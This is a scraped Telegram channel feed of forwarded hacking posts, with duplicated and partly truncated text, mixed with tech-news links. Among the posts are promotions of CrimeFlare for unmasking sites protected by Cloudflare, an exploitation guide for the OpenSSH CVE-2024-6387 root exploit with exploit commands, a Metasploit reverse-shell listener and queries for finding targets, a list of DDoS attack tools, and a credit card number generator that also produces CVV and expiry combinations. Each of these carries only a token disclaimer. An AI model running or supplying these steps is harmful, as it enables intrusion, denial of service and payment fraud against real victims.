Forwarded from Exploiting Crew (Pr1vAt3)
🦑Cloudflare Bypass:
CrimeFlare - Bypass Cloudflare WAF and Reveal Real IPs
CrimeFlare is a PHP-based tool designed to identify the original IP address of websites protected by Cloudflare's Web Application Firewall (WAF). This information can be valuable for penetration testing and deeper analysis of websites that rely on Cloudflare for anonymity and security.
---
Features:
1. Cloudflare Information:
- Cloudflare-protected IPs.
- Cloudflare NS1 and NS2 details.
2. Real IP Revelation:
- Unmasks the original IP behind Cloudflare protection.
3. Additional Metadata:
- Hostname.
- Organization.
- Location details (Country, City, Region, Postal Code, Time Zone).
---
Disclaimer:
The tool is for educational and lawful penetration testing purposes only. Misuse of CrimeFlare for unauthorized access or malicious activities is illegal and unethical.
---
Installation:
#### Prerequisites:
1. PHP and
Install on Ubuntu:
#### Clone the Repository:
#### Run the Script:
To reveal the real IP behind a domain:
#### Easy Installation:
For quick execution from anywhere on Linux:
Now you can run CrimeFlare with:
---
### API Sources:
1. CrimeFlare API: [https://crimeflare.zidansec.com](https://crimeflare.zidansec.com)
2. IPInfo API: [http://ipinfo.io](http://ipinfo.io/2.2.2.2/json)
---
### Code Example:
CrimeFlare uses simple PHP scripting with APIs to gather and process data. The script sends HTTP requests to API endpoints and processes JSON responses to display the original IP and related metadata.
---
### Additional OSINT Tool:
OsintSec:
A tool for visualizing networks from domains, IPs, and emails.
[OsintSec Tool](https://osinthreat.herokuapp.com/)
---
### Quick Commands:
- Clone repository:
- Execute the script:
- Install for system-wide access:
- Run directly:
---
### GitHub Repository:
Access the archived repository for full documentation and source code:
[CrimeFlare GitHub Repository](https://github.com/zidansec/CloudPeler)
CrimeFlare - Bypass Cloudflare WAF and Reveal Real IPs
CrimeFlare is a PHP-based tool designed to identify the original IP address of websites protected by Cloudflare's Web Application Firewall (WAF). This information can be valuable for penetration testing and deeper analysis of websites that rely on Cloudflare for anonymity and security.
---
Features:
1. Cloudflare Information:
- Cloudflare-protected IPs.
- Cloudflare NS1 and NS2 details.
2. Real IP Revelation:
- Unmasks the original IP behind Cloudflare protection.
3. Additional Metadata:
- Hostname.
- Organization.
- Location details (Country, City, Region, Postal Code, Time Zone).
---
Disclaimer:
The tool is for educational and lawful penetration testing purposes only. Misuse of CrimeFlare for unauthorized access or malicious activities is illegal and unethical.
---
Installation:
#### Prerequisites:
1. PHP and
php-curl must be installed. Install on Ubuntu:
sudo apt install php php-curl
#### Clone the Repository:
git clone https://github.com/zidansec/CloudPeler.git
cd CloudPeler
#### Run the Script:
To reveal the real IP behind a domain:
php crimeflare.php example.com
#### Easy Installation:
For quick execution from anywhere on Linux:
sudo wget https://github.com/zidansec/CloudPeler/raw/master/crimeflare.php -O /bin/crimeflare
sudo chmod +x /bin/crimeflare
Now you can run CrimeFlare with:
crimeflare example.com
---
### API Sources:
1. CrimeFlare API: [https://crimeflare.zidansec.com](https://crimeflare.zidansec.com)
2. IPInfo API: [http://ipinfo.io](http://ipinfo.io/2.2.2.2/json)
---
### Code Example:
CrimeFlare uses simple PHP scripting with APIs to gather and process data. The script sends HTTP requests to API endpoints and processes JSON responses to display the original IP and related metadata.
---
### Additional OSINT Tool:
OsintSec:
A tool for visualizing networks from domains, IPs, and emails.
[OsintSec Tool](https://osinthreat.herokuapp.com/)
---
### Quick Commands:
- Clone repository:
git clone https://github.com/zidansec/CloudPeler.git
- Execute the script:
php crimeflare.php example.com
- Install for system-wide access:
sudo wget https://github.com/zidansec/CloudPeler/raw/master/crimeflare.php -O /bin/crimeflare
sudo chmod +x /bin/crimeflare
- Run directly:
crimeflare example.com
---
### GitHub Repository:
Access the archived repository for full documentation and source code:
[CrimeFlare GitHub Repository](https://github.com/zidansec/CloudPeler)
GitHub
GitHub - zidansec/CloudPeler: CrimeFlare is a useful tool for bypassing websites protected by CloudFlare WAF, with this tool you…
CrimeFlare is a useful tool for bypassing websites protected by CloudFlare WAF, with this tool you can easily see the real IP of websites that have been protected by CloudFlare. The resulting infor...
Forwarded from Exploiting Crew (Pr1vAt3)
🦑Largest and most advanced AI models available on Hugging Face in 2024:
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- Official URL: [DeepSeek LLM 67B Base on Hugging Face](https://huggingface.co/models).
2. Yi-34B-Llama
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- Official URL: [Yi-34B-Llama on Hugging Face](https://huggingface.co/models).
3. Qwen/Qwen2.5-72B-Instruct
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- Highlights: Advanced role-playing, long text generation, and structured data understanding.
- Official URL: [Qwen2.5-72B-Instruct](https://huggingface.co/Qwen/Qwen2.5-72B-Instruct).
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- Parameters: 70 billion
- Highlights: Ideal for daily use with highly capable instruction-following capabilities.
- Official URL: [Llama 3.3-70B-Instruct](https://huggingface.co/meta-llama/Llama-3.3-70B-Instruct).
5. Nyxene-v2-11B
- Parameters: 11 billion
- Highlights: Efficient processing and high fluency in text generation and question answering.
- Official URL: [Nyxene-v2-11B](https://huggingface.co/models).
For a comprehensive list of models and their detailed capabilities, visit [Hugging Face's model hub](https://huggingface.co/models).
1. DeepSeek LLM 67B Base
- Parameters: 67 billion
- Highlights: Exceptional at reasoning, coding, and mathematics, surpassing GPT-3.5 and Llama2-70B.
- Official URL: [DeepSeek LLM 67B Base on Hugging Face](https://huggingface.co/models).
2. Yi-34B-Llama
- Parameters: 34 billion
- Highlights: Multi-modal processing for text, code, and images, with zero-shot learning capabilities.
- Official URL: [Yi-34B-Llama on Hugging Face](https://huggingface.co/models).
3. Qwen/Qwen2.5-72B-Instruct
- Parameters: 72 billion
- Highlights: Advanced role-playing, long text generation, and structured data understanding.
- Official URL: [Qwen2.5-72B-Instruct](https://huggingface.co/Qwen/Qwen2.5-72B-Instruct).
4. Llama 3.3-70B-Instruct
- Parameters: 70 billion
- Highlights: Ideal for daily use with highly capable instruction-following capabilities.
- Official URL: [Llama 3.3-70B-Instruct](https://huggingface.co/meta-llama/Llama-3.3-70B-Instruct).
5. Nyxene-v2-11B
- Parameters: 11 billion
- Highlights: Efficient processing and high fluency in text generation and question answering.
- Official URL: [Nyxene-v2-11B](https://huggingface.co/models).
For a comprehensive list of models and their detailed capabilities, visit [Hugging Face's model hub](https://huggingface.co/models).
huggingface.co
Models – Hugging Face
Explore machine learning models.
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
🚨 Bypassing Browser Isolation: A New Threat Landscape
https://undercodenews.com/bypassing-browser-isolation-a-new-threat-landscape/
@Undercode_News
https://undercodenews.com/bypassing-browser-isolation-a-new-threat-landscape/
@Undercode_News
UNDERCODE NEWS
Bypassing Browser Isolation: A New Threat Landscape - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information and…
Forwarded from Exploiting Crew (Pr1vAt3)
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Forwarded from Exploiting Crew (Pr1vAt3)
🦑Exploit The 2024 OpenSSH sshd:
A critical vulnerability identified as CVE-2024-6387 affects OpenSSH
🔍 Vulnerability Overview
- **Discovered by: Researchers at Qualys in May 2024.
- Root Cause:
A race condition triggered in the
- Impact:
- Allows unauthenticated attackers to gain root privileges remotely.
- Exploits the default
🌟 Features of Exploitation Tool
1. Rapid Scanning: Scans multiple IPs, domains, or CIDR ranges for this vulnerability.
2. Version Detection: Identifies OpenSSH versions and checks for patched systems.
3. Banner Retrieval: Fetches SSH banners for identification without authentication.
4. Multi-threading: Increases efficiency and exploit chances using concurrent threads.
5. Customizable Outputs: Saves results in formats like JSON, CSV, or plain text.
6. Port Scanning: Detects open/closed ports and highlights non-responsive hosts.
7. IPv6 Support: Fully compatible with IPv6 scanning.
---
⚙️ Usage Instructions
#### Prerequisites
- Ensure Python 3.x is installed.
- Install dependencies (if required):
#### Basic Commands
- Scan a Target:
- Exploit a Target:
#### Advanced Options
| Argument | Description | Default |
|-----------------------|--------------------------------------------------------------|--------------|
|
|
|
|
|
|
---
### Escalation Process
#### Setting Up Payload Listener
Before exploiting, set up a reverse shell listener:
#### Exploitation Example
Run the exploit tool with the configured settings:
---
### 🔍 Host Discovery
#### OSINT Techniques
- Hunter:
- FOFA:
- SHODAN:
- CENSYS:
---
### 🛡 Mitigation Strategies
1. Patch Management
- Upgrade to the latest patched version of OpenSSH to close this vulnerability.
2. Limit Access
- Restrict SSH access to trusted IPs/networks using firewalls or VPNs.
3. Enable Monitoring
- Use IDS/IPS tools to detect and prevent exploitation attempts.
4. Network Segmentation
- Isolate critical systems to reduce lateral movement risks in case of compromise.
5. Log Analysis
- Continuously monitor logs for unusual SSH activities or patterns.
Color-Coded Output
- 🟢 Green: Successful connection or exploit.
- 🔴 Red: Failed connection or error.
- 🟡 Yellow: Warnings or notable information.
- 🔵 Cyan: General updates or information.
Full on: https://github.com/asterictnl-lvdw/CVE-2024-6387
A critical vulnerability identified as CVE-2024-6387 affects OpenSSH
sshd and allows remote unauthenticated attackers to execute arbitrary code as root due to a signal handler race condition. Below is a comprehensive breakdown of this flaw, usage instructions for associated tools, and mitigation strategies.🔍 Vulnerability Overview
- **Discovered by: Researchers at Qualys in May 2024.
- Root Cause:
A race condition triggered in the
SIGALRM handler of sshd when a client fails to authenticate within the LoginGraceTime (default 120 seconds). This handler invokes functions that are not asynchronous-signal-safe, creating a window for exploitation. - Impact:
- Allows unauthenticated attackers to gain root privileges remotely.
- Exploits the default
LoginGraceTime settings. 🌟 Features of Exploitation Tool
1. Rapid Scanning: Scans multiple IPs, domains, or CIDR ranges for this vulnerability.
2. Version Detection: Identifies OpenSSH versions and checks for patched systems.
3. Banner Retrieval: Fetches SSH banners for identification without authentication.
4. Multi-threading: Increases efficiency and exploit chances using concurrent threads.
5. Customizable Outputs: Saves results in formats like JSON, CSV, or plain text.
6. Port Scanning: Detects open/closed ports and highlights non-responsive hosts.
7. IPv6 Support: Fully compatible with IPv6 scanning.
---
⚙️ Usage Instructions
#### Prerequisites
- Ensure Python 3.x is installed.
- Install dependencies (if required):
pip install -r requirements.txt
#### Basic Commands
- Scan a Target:
python3 CVE-2024-6387.py scan -T example.com -p 22
- Exploit a Target:
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
#### Advanced Options
| Argument | Description | Default |
|-----------------------|--------------------------------------------------------------|--------------|
|
-T, --targets | IP, domain, file path, or CIDR range to scan. | N/A ||
-p, --port | SSH port to target. | 22 ||
-s, --speed | Threads for scanning/exploitation. | 10 ||
-t, --timeout | Connection timeout in seconds. | 1 ||
-o, --output | Output format (csv, txt, json). | json ||
-g, --gracetimecheck| Check for LoginGraceTime mitigation (seconds). | 120 |---
### Escalation Process
#### Setting Up Payload Listener
Before exploiting, set up a reverse shell listener:
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"#### Exploitation Example
Run the exploit tool with the configured settings:
python3 CVE-2024-6387.py exploit -T target.com -p 22 -n eth0
---
### 🔍 Host Discovery
#### OSINT Techniques
- Hunter:
/product.name="OpenSSH" - FOFA:
app="OpenSSH" - SHODAN:
product:"OpenSSH" - CENSYS:
(openssh) and labels=remote-access ---
### 🛡 Mitigation Strategies
1. Patch Management
- Upgrade to the latest patched version of OpenSSH to close this vulnerability.
2. Limit Access
- Restrict SSH access to trusted IPs/networks using firewalls or VPNs.
3. Enable Monitoring
- Use IDS/IPS tools to detect and prevent exploitation attempts.
4. Network Segmentation
- Isolate critical systems to reduce lateral movement risks in case of compromise.
5. Log Analysis
- Continuously monitor logs for unusual SSH activities or patterns.
Color-Coded Output
- 🟢 Green: Successful connection or exploit.
- 🔴 Red: Failed connection or error.
- 🟡 Yellow: Warnings or notable information.
- 🔵 Cyan: General updates or information.
Full on: https://github.com/asterictnl-lvdw/CVE-2024-6387
GitHub
GitHub - Karmakstylez/CVE-2024-6387: Remote Unauthenticated Code Execution Vulnerability in OpenSSH server (CVE-2024-6387)
Remote Unauthenticated Code Execution Vulnerability in OpenSSH server (CVE-2024-6387) - Karmakstylez/CVE-2024-6387
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
📱 #Apple's Entry-Level iPad: A Long-Awaited Refresh
https://undercodenews.com/apples-entry-level-ipad-a-long-awaited-refresh/
@Undercode_News
https://undercodenews.com/apples-entry-level-ipad-a-long-awaited-refresh/
@Undercode_News
UNDERCODE NEWS
Apple's Entry-Level iPad: A Long-Awaited Refresh - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information and…
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
🖥️ Call of Duty Servers Face Frequent Outages During Weekends Due to High Player Traffic
https://undercodenews.com/call-of-duty-servers-face-frequent-outages-during-weekends-due-to-high-player-traffic/
@Undercode_News
https://undercodenews.com/call-of-duty-servers-face-frequent-outages-during-weekends-due-to-high-player-traffic/
@Undercode_News
UNDERCODE NEWS
Call of Duty Servers Face Frequent Outages During Weekends Due to High Player Traffic - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information and…
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
#Microsoft's Outlook Transition: A User's Perspective
https://undercodenews.com/microsofts-outlook-transition-a-users-perspective/
@Undercode_News
https://undercodenews.com/microsofts-outlook-transition-a-users-perspective/
@Undercode_News
UNDERCODE NEWS
Microsoft's Outlook Transition: A User's Perspective - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information and…
Forwarded from Exploiting Crew (Pr1vAt3)
🦑Top DDoS Tools for Educational Penetration Testing in 2024:
Disclaimer: This list is strictly for educational and ethical purposes. Unauthorized use of these tools for malicious activities is illegal and punishable by law. Always seek proper authorization before conducting penetration testing.
1. [LOIC (Low Orbit Ion Cannon)](https://sourceforge.net/projects/loic/)
- Description: A classic open-source tool designed for stress testing. LOIC is beginner-friendly and allows users to send HTTP, UDP, or TCP packets to a target.
- Features:
- User-friendly GUI.
- Manual or automatic attack modes.
- Use Case: Useful for testing smaller systems under stress.
---
2. [HOIC (High Orbit Ion Cannon)](https://github.com/grayhats/hoic)
- Description: An upgraded version of LOIC, HOIC can send multiple HTTP requests simultaneously, making it more potent.
- Features:
- "Booster" scripts to amplify attack strength.
- Open-source.
- Use Case: Effective for simulating HTTP-based volumetric attacks.
---
3. [Xerxes](https://github.com/zanyarjamal/xerxes)
- Description: A lightweight yet powerful tool for layer-7 DDoS attacks.
- Features:
- Portable and efficient.
- Easy-to-use command-line interface.
- Use Case: Ideal for testing web servers' resilience to high-volume HTTP requests.
---
4. [HULK (HTTP Unbearable Load King)](https://github.com/grafov/hulk)
- Description: A unique tool designed for testing web servers by generating dynamic and random HTTP GET requests.
- Features:
- Evades caching mechanisms with randomized requests.
- Simple to configure.
- Use Case: Used for stress-testing websites against large traffic surges.
---
5. [GoldenEye](https://github.com/jseidl/GoldenEye)
- Description: A Python-based tool for generating HTTP and HTTPS requests to overwhelm web servers.
- Features:
- Advanced request customization.
- Supports both HTTP and HTTPS.
- Use Case: Testing web applications for resilience against layer-7 DDoS attacks.
---
6. [UFONet](https://github.com/epsylon/ufonet)
- Description: A multi-vector tool that leverages open proxies and botnets for stress testing.
- Features:
- Supports multiple attack vectors.
- GUI and CLI interfaces available.
- Use Case: Testing distributed attacks with open proxy networks.
---
7. [DDOSIM (DDoS Simulator)](https://sourceforge.net/projects/ddosim/)
- Description: A simulation tool that replicates a botnet by performing DDoS attacks like TCP, HTTP, and UDP floods.
- Features:
- Simulates real botnet behavior.
- Layer-7 attack simulation.
- Use Case: Ideal for advanced penetration testers studying application-layer attacks.
Disclaimer: This list is strictly for educational and ethical purposes. Unauthorized use of these tools for malicious activities is illegal and punishable by law. Always seek proper authorization before conducting penetration testing.
1. [LOIC (Low Orbit Ion Cannon)](https://sourceforge.net/projects/loic/)
- Description: A classic open-source tool designed for stress testing. LOIC is beginner-friendly and allows users to send HTTP, UDP, or TCP packets to a target.
- Features:
- User-friendly GUI.
- Manual or automatic attack modes.
- Use Case: Useful for testing smaller systems under stress.
---
2. [HOIC (High Orbit Ion Cannon)](https://github.com/grayhats/hoic)
- Description: An upgraded version of LOIC, HOIC can send multiple HTTP requests simultaneously, making it more potent.
- Features:
- "Booster" scripts to amplify attack strength.
- Open-source.
- Use Case: Effective for simulating HTTP-based volumetric attacks.
---
3. [Xerxes](https://github.com/zanyarjamal/xerxes)
- Description: A lightweight yet powerful tool for layer-7 DDoS attacks.
- Features:
- Portable and efficient.
- Easy-to-use command-line interface.
- Use Case: Ideal for testing web servers' resilience to high-volume HTTP requests.
---
4. [HULK (HTTP Unbearable Load King)](https://github.com/grafov/hulk)
- Description: A unique tool designed for testing web servers by generating dynamic and random HTTP GET requests.
- Features:
- Evades caching mechanisms with randomized requests.
- Simple to configure.
- Use Case: Used for stress-testing websites against large traffic surges.
---
5. [GoldenEye](https://github.com/jseidl/GoldenEye)
- Description: A Python-based tool for generating HTTP and HTTPS requests to overwhelm web servers.
- Features:
- Advanced request customization.
- Supports both HTTP and HTTPS.
- Use Case: Testing web applications for resilience against layer-7 DDoS attacks.
---
6. [UFONet](https://github.com/epsylon/ufonet)
- Description: A multi-vector tool that leverages open proxies and botnets for stress testing.
- Features:
- Supports multiple attack vectors.
- GUI and CLI interfaces available.
- Use Case: Testing distributed attacks with open proxy networks.
---
7. [DDOSIM (DDoS Simulator)](https://sourceforge.net/projects/ddosim/)
- Description: A simulation tool that replicates a botnet by performing DDoS attacks like TCP, HTTP, and UDP floods.
- Features:
- Simulates real botnet behavior.
- Layer-7 attack simulation.
- Use Case: Ideal for advanced penetration testers studying application-layer attacks.
SourceForge
LOIC
Download LOIC for free. A network stress testing application. Low Orbit Ion Cannon. The project only keeps and maintains (bug fixing) the code written by the original author - Praetox, but is not associated or related to it.
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
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@Undercode_News
https://undercodenews.com/massive-data-leak-exposes-millions-of-employees-from-top-companies/
@Undercode_News
UNDERCODE NEWS
Massive Data Leak Exposes Millions of Employees from Top Companies - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information and…
Forwarded from Exploiting Crew (Pr1vAt3)
🦑 Large CTF collections:
### TryHackMe (THM) Links
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4. [TryHackMe Discord Community](https://discord.gg/tryhackme)
5. [TryHackMe Blog](https://blog.tryhackme.com)
6. [GitHub: Awesome TryHackMe Writeups](https://github.com/0xagun/awesome-tryhackme-writeups)
### Popular CTF Platforms
7. [Hack The Box](https://www.hackthebox.com/)
8. [CTFtime](https://ctftime.org/)
9. [PicoCTF](https://picoctf.org/)
10. [Root Me](https://www.root-me.org/)
11. [OverTheWire Wargames](https://overthewire.org/)
12. [CyberSecLabs](https://cyberseclabs.co.uk/)
13. [THM vs HTB Writeups](https://github.com/Ignitetechnologies)
### CTF Challenges & Resources
14. [Cryptohack](https://cryptohack.org/)
15. [WeChall Challenges](https://www.wechall.net/)
16. [Challenges on CTFlearn](https://ctflearn.com/)
17. [W3Challs](https://w3challs.com/)
18. [Hacker101 CTF](https://ctf.hacker101.com/)
19. [Defend the Web](https://defendtheweb.net/)
20. [RingZer0 Team Online CTF](https://ringzer0ctf.com/)
### Tools for Practice
21. [VulnHub](https://www.vulnhub.com/)
22. [TryHackMe GitHub Repository](https://github.com/topics/tryhackme)
23. [CTFd (Create Your Own CTF)](https://ctfd.io/)
24. [CrackStation](https://crackstation.net/)
### Writeups and Blogs
25. [CTF Writeups GitHub](https://github.com/ctfs/write-ups-2019)
26. [TryHackMe Subreddit](https://www.reddit.com/r/tryhackme/)
27. [Hack The Box Subreddit](https://www.reddit.com/r/hackthebox/)
28. [Infosec Writeups on Medium](https://medium.com/bugbountywriteup)
### Learning Resources
29. [Hack This Site](https://www.hackthissite.org/)
30. [Cyber Security Challenge](https://cybersecuritychallenge.org.uk/)
31. [OWASP Juice Shop](https://owasp.org/www-project-juice-shop/)
32. [CTF Field Guide (Trail of Bits)](https://trailofbits.github.io/ctf/)
33. [SANS Holiday Hack Challenge](https://www.sans.org/mlp/holiday-hack-challenge/)
34. [CrackMe Challenges](https://crackmes.one/)
### Forums and Communities
35. [Reddit - r/CTF](https://www.reddit.com/r/CTF/)
36. [InfoSec Community Discord](https://discord.gg/infosec)
37. [Hacker News](https://news.ycombinator.com/)
### Beginner-Friendly
38. [PentesterLab](https://pentesterlab.com/)
39. [Bandit Wargame](https://overthewire.org/wargames/bandit/)
40. [Microcorruption](https://microcorruption.com/)
### Advanced Challenges
41. [Real World CTF](https://realworldctf.com/)
42. [Google CTF](https://capturetheflag.withgoogle.com/)
43. [Flare-On Challenge](https://www.flare-on.com/)
44. [Hack.lu CTF](https://2019.hack.lu/index.html)
### Additional GitHub Resources
45. [Awesome CTF](https://github.com/apsdehal/awesome-ctf)
46. [CTF Wiki](https://ctf-wiki.org/)
47. [HackTricks](https://book.hacktricks.xyz/)
48. [Payloads All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings)
49. [SecLists](https://github.com/danielmiessler/SecLists)
### Bonus Links
50. [Practice Labs from Security Blue Team](https://securityblue.team/practice/)
### TryHackMe (THM) Links
1. [Official TryHackMe Website](https://tryhackme.com)
2. [TryHackMe Learning Paths](https://tryhackme.com/paths)
3. [Free Rooms on TryHackMe](https://tryhackme.com/free)
4. [TryHackMe Discord Community](https://discord.gg/tryhackme)
5. [TryHackMe Blog](https://blog.tryhackme.com)
6. [GitHub: Awesome TryHackMe Writeups](https://github.com/0xagun/awesome-tryhackme-writeups)
### Popular CTF Platforms
7. [Hack The Box](https://www.hackthebox.com/)
8. [CTFtime](https://ctftime.org/)
9. [PicoCTF](https://picoctf.org/)
10. [Root Me](https://www.root-me.org/)
11. [OverTheWire Wargames](https://overthewire.org/)
12. [CyberSecLabs](https://cyberseclabs.co.uk/)
13. [THM vs HTB Writeups](https://github.com/Ignitetechnologies)
### CTF Challenges & Resources
14. [Cryptohack](https://cryptohack.org/)
15. [WeChall Challenges](https://www.wechall.net/)
16. [Challenges on CTFlearn](https://ctflearn.com/)
17. [W3Challs](https://w3challs.com/)
18. [Hacker101 CTF](https://ctf.hacker101.com/)
19. [Defend the Web](https://defendtheweb.net/)
20. [RingZer0 Team Online CTF](https://ringzer0ctf.com/)
### Tools for Practice
21. [VulnHub](https://www.vulnhub.com/)
22. [TryHackMe GitHub Repository](https://github.com/topics/tryhackme)
23. [CTFd (Create Your Own CTF)](https://ctfd.io/)
24. [CrackStation](https://crackstation.net/)
### Writeups and Blogs
25. [CTF Writeups GitHub](https://github.com/ctfs/write-ups-2019)
26. [TryHackMe Subreddit](https://www.reddit.com/r/tryhackme/)
27. [Hack The Box Subreddit](https://www.reddit.com/r/hackthebox/)
28. [Infosec Writeups on Medium](https://medium.com/bugbountywriteup)
### Learning Resources
29. [Hack This Site](https://www.hackthissite.org/)
30. [Cyber Security Challenge](https://cybersecuritychallenge.org.uk/)
31. [OWASP Juice Shop](https://owasp.org/www-project-juice-shop/)
32. [CTF Field Guide (Trail of Bits)](https://trailofbits.github.io/ctf/)
33. [SANS Holiday Hack Challenge](https://www.sans.org/mlp/holiday-hack-challenge/)
34. [CrackMe Challenges](https://crackmes.one/)
### Forums and Communities
35. [Reddit - r/CTF](https://www.reddit.com/r/CTF/)
36. [InfoSec Community Discord](https://discord.gg/infosec)
37. [Hacker News](https://news.ycombinator.com/)
### Beginner-Friendly
38. [PentesterLab](https://pentesterlab.com/)
39. [Bandit Wargame](https://overthewire.org/wargames/bandit/)
40. [Microcorruption](https://microcorruption.com/)
### Advanced Challenges
41. [Real World CTF](https://realworldctf.com/)
42. [Google CTF](https://capturetheflag.withgoogle.com/)
43. [Flare-On Challenge](https://www.flare-on.com/)
44. [Hack.lu CTF](https://2019.hack.lu/index.html)
### Additional GitHub Resources
45. [Awesome CTF](https://github.com/apsdehal/awesome-ctf)
46. [CTF Wiki](https://ctf-wiki.org/)
47. [HackTricks](https://book.hacktricks.xyz/)
48. [Payloads All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings)
49. [SecLists](https://github.com/danielmiessler/SecLists)
### Bonus Links
50. [Practice Labs from Security Blue Team](https://securityblue.team/practice/)
TryHackMe
TryHackMe | Cyber Security Training
TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser!
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
🌐 #Tesla Superchargers Hit Record High, Network Expands and Speeds Up for All EVs
https://undercodenews.com/tesla-superchargers-hit-record-high-network-expands-and-speeds-up-for-all-evs/
@Undercode_News
https://undercodenews.com/tesla-superchargers-hit-record-high-network-expands-and-speeds-up-for-all-evs/
@Undercode_News
UNDERCODE NEWS
Tesla Superchargers Hit Record High, Network Expands and Speeds Up for All EVs - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information and…
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
Roblox Will No Longer Support #Windows 7 & 8.1 After January 16th, 2025
https://undercodenews.com/roblox-will-no-longer-support-windows-7-amp-8-1-after-january-16th-2025/
@Undercode_News
https://undercodenews.com/roblox-will-no-longer-support-windows-7-amp-8-1-after-january-16th-2025/
@Undercode_News
Forwarded from UNDERCODE TESTING
🦑Phishing email analysis:
1. Mail Header Analysis
- Tool:
- Usage: Extract and analyze email headers to trace the source.
2. Link Analysis
- Tool:
- Usage: Check if links are flagged as malicious.
3. Attachment Analysis
- Tool:
- Usage: Scan attachments for malware.
4. Text Analysis
- Tool:
- Usage: Extract and analyze suspicious text patterns.
5. Complete Email Analysis
- Tool:
- Description: Use this open-source framework to analyze and share Indicators of Compromise (IOCs).
6. Sandbox Analysis
- Tool:
- Usage: Isolate and run suspicious files or links for dynamic analysis.
Installation Example
For ClamAV:
1. Mail Header Analysis
- Tool:
exiftool or mha-parser- Usage: Extract and analyze email headers to trace the source.
exiftool email.eml
2. Link Analysis
- Tool:
urlscan.io CLI or PhishTank API- Usage: Check if links are flagged as malicious.
curl -X POST --data-urlencode 'url=http://example.com' https://urlscan.io/api/v1/scan/
3. Attachment Analysis
- Tool:
ClamAV- Usage: Scan attachments for malware.
clamscan attachment.zip
4. Text Analysis
- Tool:
strings or grep- Usage: Extract and analyze suspicious text patterns.
strings email.eml | grep -i "password"
5. Complete Email Analysis
- Tool:
PyMISP- Description: Use this open-source framework to analyze and share Indicators of Compromise (IOCs).
6. Sandbox Analysis
- Tool:
Cuckoo Sandbox- Usage: Isolate and run suspicious files or links for dynamic analysis.
Installation Example
For ClamAV:
sudo apt update
sudo apt install clamav
sudo freshclam # Update virus definitions
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
📱 #Apple's Pro Display XDR: A Look Ahead
https://undercodenews.com/apples-pro-display-xdr-a-look-ahead/
@Undercode_News
https://undercodenews.com/apples-pro-display-xdr-a-look-ahead/
@Undercode_News
UNDERCODE NEWS
Apple's Pro Display XDR: A Look Ahead - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information and…
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
🕵️ Japan #AI Key Business Events to Watch on December 9th
https://undercodenews.com/japan-ai-key-business-events-to-watch-on-december-9th/
@Undercode_News
https://undercodenews.com/japan-ai-key-business-events-to-watch-on-december-9th/
@Undercode_News
UNDERCODE NEWS
Japan AI Key Business Events to Watch on December 9th - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information and…
Forwarded from Exploiting Crew (Pr1vAt3)
🦑 LBin Credit Card Generator: (Android/Linux/Windows)
The LBin Credit Card Generator is a Python-based tool used for generating valid credit and debit card numbers. It provides details about the bank and the card number, along with the ability to generate combinations of 3-digit codes and expiry dates.
⚠️ Ethical Use Warning
This tool should only be used for ethical purposes. Unauthorized generation and use of credit card numbers is illegal and unethical.
📋 Quick Start Guide
#### Windows Installation
1. Install Git
Download Git for Windows [here](https://git-scm.com/download/win). Ensure you select the option to add Git to the system PATH during installation.
2. Install Python
Download Python [here](https://www.python.org/downloads/), making sure to check the "Add Python to PATH" option during installation.
3. Clone the Repository
Open the command prompt and clone the repository:
4. Navigate to the Project Directory
5. Run the Script
Linux Installation
1. Clone the Repository
2. Navigate to the Project Directory
3. Add Execution Permissions
4. Run the Script
#### Termux (Android) Installation
1. Install Termux
Download and install [Termux](https://play.google.com/store/apps/details?id=com.termux) from the Google Play Store.
2. Install Git
3. Install Python
4. Clone the Repository
5. Navigate to the Project Directory
6. Add Execution Permissions
7. Run the Script
💻 Supported Operating Systems
- Windows 💻
- Linux 🐧
- Termux (Android) 📱
The LBin Credit Card Generator is a Python-based tool used for generating valid credit and debit card numbers. It provides details about the bank and the card number, along with the ability to generate combinations of 3-digit codes and expiry dates.
⚠️ Ethical Use Warning
This tool should only be used for ethical purposes. Unauthorized generation and use of credit card numbers is illegal and unethical.
📋 Quick Start Guide
#### Windows Installation
1. Install Git
Download Git for Windows [here](https://git-scm.com/download/win). Ensure you select the option to add Git to the system PATH during installation.
2. Install Python
Download Python [here](https://www.python.org/downloads/), making sure to check the "Add Python to PATH" option during installation.
3. Clone the Repository
Open the command prompt and clone the repository:
git clone https://github.com/lalaio1/LBin-CC-generator-.git
4. Navigate to the Project Directory
cd LBin-CC-generator-
5. Run the Script
python start.py
Linux Installation
1. Clone the Repository
git clone https://github.com/lalaio1/LBin-CC-generator-.git
